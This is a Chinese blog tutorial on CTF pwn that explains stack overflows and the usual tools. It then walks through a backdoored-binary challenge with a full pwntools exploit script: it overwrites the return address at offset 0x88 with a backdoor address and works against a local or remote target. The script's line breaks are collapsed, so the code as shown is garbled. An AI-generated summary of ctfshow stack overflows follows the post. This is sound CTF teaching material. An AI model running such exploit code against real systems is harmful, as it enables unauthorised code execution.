二进制学习(pwn)-带后门的栈溢出

随着当今网络安全水平的发展,人员技术水平的不断提高,CTF比赛变得越来越卷了。以前打比赛还能靠着杂项和密码学恰点烂分,不至于0分垫底脸面无光。现在,出题大佬已经不同意我们这些菜鸡混分等死了,不会几道PWN很可能连签到分都不让吃。唉,没办法,为了能继续在圈里混下去,只能硬着头皮一步一步的开始搞了。

    二进制漏洞,也就是我们所说的PWN,是基于程序存在的堆栈溢出造成的远程命令执行漏洞。程序中有两种存储数据的结构,他们分别是栈和堆。当我们输入的数据可以超过栈堆本身设定的长度时,就会造成溢出覆盖到具有可执行权限的返回地址或者下一个堆块,从而触发命令执行。因此,二进制漏洞可以分为栈溢出和堆溢出。栈溢出相对比较简单,但是现在签到题已经到堆溢出的水平了o(╥﹏╥)o。不慌,我们一步一步来说吧,看完这几篇内容,遇到了简单的栈溢出题,还是可以搞定滴。

    首先介绍一下要想搞PWN需要安装哪些工具。pwntool是必不可少的,使用它可以编写并向目标端口发送payload。LibcSearcher可以认为是一个包含了不同版本libc的数据库,使用它你可以根据程序泄露的数据确定libc的版本。ROPgadget提取二进制程序存在的rop链,onegadget可以提取二进制程序中可getshell的程序段。然后就是pwngdb,是一款调试二进制程序的工具,可以查看程序的运行状态和内存信息。

    接下来我们介绍一下栈溢出的分类。栈溢出包括带后门的栈溢出、可执行shellcode的栈溢出、二次栈溢出、栈迁移、格式化字符串、基于syscall的栈溢出以及基于静态编译的栈溢出等。需要注意的是32位系统和64位系统是不一样的,需要分开处理。

   下面我们拿一个带后门的栈溢出做例子来说明栈溢出大概是怎么回事,然后分类搞定栈溢出的几种基本类型。

    

    这是一个输入函数,可以输入的最大字节数为0x200,然后我们查看函数的缓存区大小(buf)发现,该函数的缓存区大小为0x80+8。

    

    这里顺便介绍以下栈结构,栈是操作系统为存储临时变量而自动开辟的一块内存区域。栈在开辟时,会将下一条指令的地址(即返回地址 r)压栈,然后再讲栈底指针压栈(即图中的 s)。

    很显然,这里是存在缓存区溢出的。当我们输入的字节数超过0x88时,多余的字节就会覆盖返回地址。当程序完成read()操作,就会跳到返回地址处执行命令。如果我们覆盖返回地址为可获得系统执行权限的函数,那就可以在程序跳转时直接getshell啦。值得庆幸的是,良心的出题者很照顾我们初学者的感受,在程序中内置了后门,如下图所示。

    接下来,就可以利用pwntool编写脚本getshell了。脚本如下:

#!/usr/bin/python#coding=utf-8from pwn import *from LibcSearcher import *
local_file  = 'level0'#choose right lib according to the elflocal_libc  = '/lib/x86_64-linux-gnu/libc-2.23.so'#local_libc  = '/lib/i386-linux-gnu/libc-2.23.so'remote_libc = local_libcis_local = Falseis_remote = False
if len(sys.argv) == 1:    is_local = True    p = process(local_file)    libc = ELF(local_libc)elif len(sys.argv) > 1:    is_remote = True    if len(sys.argv) == 3:        host = sys.argv[1]        port = sys.argv[2]    else:        host, port = sys.argv[1].split(':')    p = remote(host, port)    libc = ELF(remote_libc)
elf = ELF(local_file)context.log_level = 'debug'context.arch = elf.arch# change the payload according to the gadgetsback_door=0x400596offset =0x88payload = 'A'*offsetpayload += p64(back_door)
p.recvuntil('Hello, World\n')p.sendline(payload)p.interactive()

    这个脚本中第3行和第4行是分别引用了pwntool和libcsearcher包,14行至26行,是根据传递参数确定脚本类型。如果是本地调试,则直接python exp.py。如果是远程调试,则python exp.py ip:port。28至30行可以理解为固定配置。33行至40行是我们的核心代码,实现的功能是向程序传入0x88个A后,再返回地址处跳转到后门函数。然后利用pwntool内置的recvuntil()函数接收信息,利用sendline发送payload。

后续学习分享、题目链接可移步公众号 “断剑重铸

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
PWN是一种以攻破计算机系统中的漏洞为目的的竞赛类型,参赛者需要利用漏洞进行攻击并获取系统权限。在ctfshow PWN中,溢出是一种常见的攻击方式。 根据提供的引用,我了解到溢出是一种通过向程序输入过长的数据导致数据溢出的一种攻击手段。是一种数据结构,用于存储程序的局部变量和函数调用的返回地址等信息。当程序接收到超出空间大小的数据时,溢出的数据会覆盖到上的其他数据,从而可能改变程序的执行流程。 根据引用,在ctfshow PWN中,参赛者可以利用溢出漏洞来控制程序的执行流程。通过向程序输入特制的数据,可以覆盖控制流中的返回地址,使程序跳转到攻击者精心构造的代码,从而达到获取系统权限的目的。 具体来说,参赛者可以通过向程序发送超出预期的数据,覆盖上的返回地址,使其指向攻击者准备好的恶意代码,从而实现溢出攻击。攻击者可以利用此漏洞来执行任意代码,包括获取系统权限、执行恶意操作等。 引用和引用提供了一些示例代码,演示了如何利用溢出漏洞进行攻击。这些代码使用Python的pwn库来与目标程序进行交互,并通过构造特制的payload来触发溢出漏洞,最终实现控制程序执行流程的目的。 需要注意的是,溢出是一种非常危险的漏洞,合法的程序设计应该避免出现此类问题。在实际应用中,为了防止溢出攻击,开发者需要加强输入验证和数据处理等安全机制。 总结起来,ctfshow PWN溢出是一种通过向程序输入过长数据导致溢出的攻击方式,在该竞赛中常用于获取系统权限和执行恶意操作。攻击者可以利用漏洞覆盖返回地址,使程序执行恶意代码。然而,溢出是一种危险的漏洞,合法的程序设计应该避免此类问题。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [ctfshow pwn4](https://blog.csdn.net/qq_39980610/article/details/126461902)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [ctfshow pwn5](https://blog.csdn.net/qq_39980610/article/details/126462163)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值